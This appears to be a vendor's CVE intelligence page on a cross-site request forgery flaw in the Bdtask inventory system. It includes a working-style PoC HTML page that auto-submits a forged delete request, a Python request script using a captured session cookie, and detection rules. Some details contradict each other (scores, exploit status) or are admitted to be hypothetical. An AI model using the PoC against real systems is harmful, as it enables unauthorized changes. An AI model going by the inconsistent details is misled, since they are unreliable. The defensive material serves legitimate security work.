☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-13179

CVE-2025-13179 Cross-Site Request Forgery in Bdtask
📅 PUBLISHED: 2025-11-14 19:32 UTC 🔄 UPDATED: 2026-09-23 20:32 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.22%
👁️
0.22% probability
5.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-13179 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Bdtask/CodeCanyon Wholesale Inventory Control and Inventory Management System, affecting versions up to 20250320. The vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated user, such as modifying inventory data, changing settings, or executing administrative functions, by tricking the user into clicking a malicious link or visiting a crafted page. The vendor was contacted but did not respond, leaving the vulnerability unpatched. The CVSS score is 4.3 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood in the wild. However, the public disclosure of the exploit increases the risk for unpatched systems.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a commercial PHP-based web application distributed via CodeCanyon. Users should verify the integrity of their installation and monitor for any unauthorized changes.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Attack Vector: Network (AV:N) – The attack can be launched remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – The attacker does not need authentication.
  • User Interaction: Required (UI:R) – The victim must click a link or visit a page.
  • Scope: Unchanged (S:U) – The vulnerability does not affect other components.
  • Confidentiality Impact: None (C:N) – No data exposure.
  • Integrity Impact: Low (I:L) – Limited modification of data.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The attack requires user interaction, but the lack of a patch and public exploit disclosure increases the risk for organizations using this software.

Deep Dive & Mechanics

The vulnerability resides in the unknown processing logic of the Bdtask Wholesale Inventory Control and Inventory Management System. CSRF attacks exploit the trust a web application has in a user's browser. When an authenticated user visits a malicious site, the attacker can forge requests that appear legitimate to the application, such as changing inventory levels, deleting records, or modifying user permissions.

The application likely lacks anti-CSRF tokens or proper validation of request origins. The attack is performed remotely by crafting a malicious HTML page or link that, when clicked by an authenticated user, sends a forged HTTP request (e.g., POST or GET) to the vulnerable endpoint. Since the user is already authenticated, the application processes the request as legitimate.

Key Technical Details:

  • The vulnerability is triggered via a crafted HTTP request.
  • No authentication is required from the attacker, but the victim must be logged in.
  • The exploit has been publicly disclosed, providing proof-of-concept code.
  • The vendor has not responded, so no official patch is available.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, the vulnerable code likely lacks CSRF protection mechanisms such as:

  • Anti-CSRF tokens (e.g., csrf_token field in forms).
  • SameSite cookie attributes.
  • Origin or Referer header validation.

Example of vulnerable code (hypothetical):

// Vulnerable: No CSRF token check
if ($_POST['action'] == 'delete_item') {
    $db->query("DELETE FROM inventory WHERE id = " . $_POST['id']);
}

Patched code (hypothetical):

// Patched: CSRF token validation
session_start();
if ($_POST['action'] == 'delete_item' && $_POST['csrf_token'] === $_SESSION['csrf_token']) {
    $db->query("DELETE FROM inventory WHERE id = " . intval($_POST['id']));
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • A target running Bdtask Wholesale Inventory Control and Inventory Management System (up to 20250320).
  • An authenticated user session (victim must be logged in).

Exploit Steps:

  1. Identify a vulnerable endpoint (e.g., /admin/inventory/delete.php).
  2. Craft a malicious HTML page that sends a forged request to the endpoint.
  3. Host the page on an attacker-controlled server or use a phishing link.
  4. Trick the victim into clicking the link while authenticated.

Proof-of-Concept (PoC) HTML:

<html>
<body>
<h1>Click me!</h1>
<form action="http://target.com/admin/inventory/delete.php" method="POST">
    <input type="hidden" name="id" value="123">
    <input type="submit" value="Click here">
</form>
<script>
    document.forms[0].submit();
</script>
</body>
</html>

Automated Exploit (Python):

import requests

target_url = "http://target.com/admin/inventory/delete.php"
payload = {"id": "123"}
# Victim must be authenticated; this script assumes session cookies are captured
cookies = {"PHPSESSID": "victim_session_id"}
response = requests.post(target_url, data=payload, cookies=cookies)
print("Request sent. Status:", response.status_code)

Blue Team (Defender)

Detection Steps:

  1. Monitor for unusual POST requests to sensitive endpoints (e.g., inventory management, user settings).
  2. Check for missing Referer or Origin headers in requests.
  3. Review server logs for repeated requests from the same IP to multiple endpoints.
  4. Implement CSRF tokens and validate them on all state-changing requests.

Lab Setup:

  • Install the vulnerable version of Bdtask Wholesale Inventory Control on a local server (e.g., XAMPP).
  • Create a test user and log in.
  • Use Burp Suite or OWASP ZAP to intercept and modify requests.
  • Test the PoC HTML page to confirm the vulnerability.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /admin/inventory/delete.php or similar endpoints without a Referer header.
    • Repeated POST requests from the same IP to multiple state-changing endpoints.
    • Unusual User-Agent strings (e.g., from automated scripts).
  • File IOCs:

    • Unexpected changes to inventory records in the database.
    • New user accounts or modified permissions.
    • Log entries showing requests from external IPs to admin endpoints.
  • Behavioral IOCs:

    • Users reporting unauthorized changes to inventory data.
    • Alerts from Web Application Firewalls (WAF) for CSRF patterns.

Detection Engineering

YARA Rule

rule Detect_Bdtask_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against Bdtask Inventory Management System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13179"
    strings:
        $s1 = "action=delete_item" nocase
        $s2 = "id="
        $s3 = "inventory" nocase
    condition:
        all of them
}

Sigma Rule

title: CSRF Exploit Against Bdtask Inventory System
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential CSRF attacks targeting Bdtask Wholesale Inventory Control
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - '/admin/inventory/'
            - '/admin/settings/'
        cs-referer|isnull: true
    condition: selection
falsepositives:
    - Legitimate requests from same origin
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-13179 - Bdtask CSRF Exploit Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/inventory/"; http_uri;
    pcre:"/Referer\x3a\s*\r\n/Hi";
    sid:1000001;
    rev:1;
    reference:cve,2025-13179;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable vulnerable endpoints if possible, or restrict access to trusted IPs.
  2. Implement CSRF tokens manually by modifying the application code (if you have access).
  3. Use a Web Application Firewall (WAF) to block requests without proper Referer or Origin headers.
  4. Educate users about phishing attacks and the risk of clicking unknown links while authenticated.

Long-Term Fixes:

  • Contact the vendor (Bdtask/CodeCanyon) for an official patch.
  • Migrate to an alternative inventory management system if no patch is provided.
  • Conduct a security audit of the application to identify other vulnerabilities.
  • Enable SameSite cookies (e.g., SameSite=Strict) to mitigate CSRF.

Workaround:

  • Add a custom middleware to validate CSRF tokens for all POST requests.
  • Example PHP code:
<?php
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF validation failed');
    }
}
?>

Valters IT
Securing Your Digital Frontier

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-13179/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.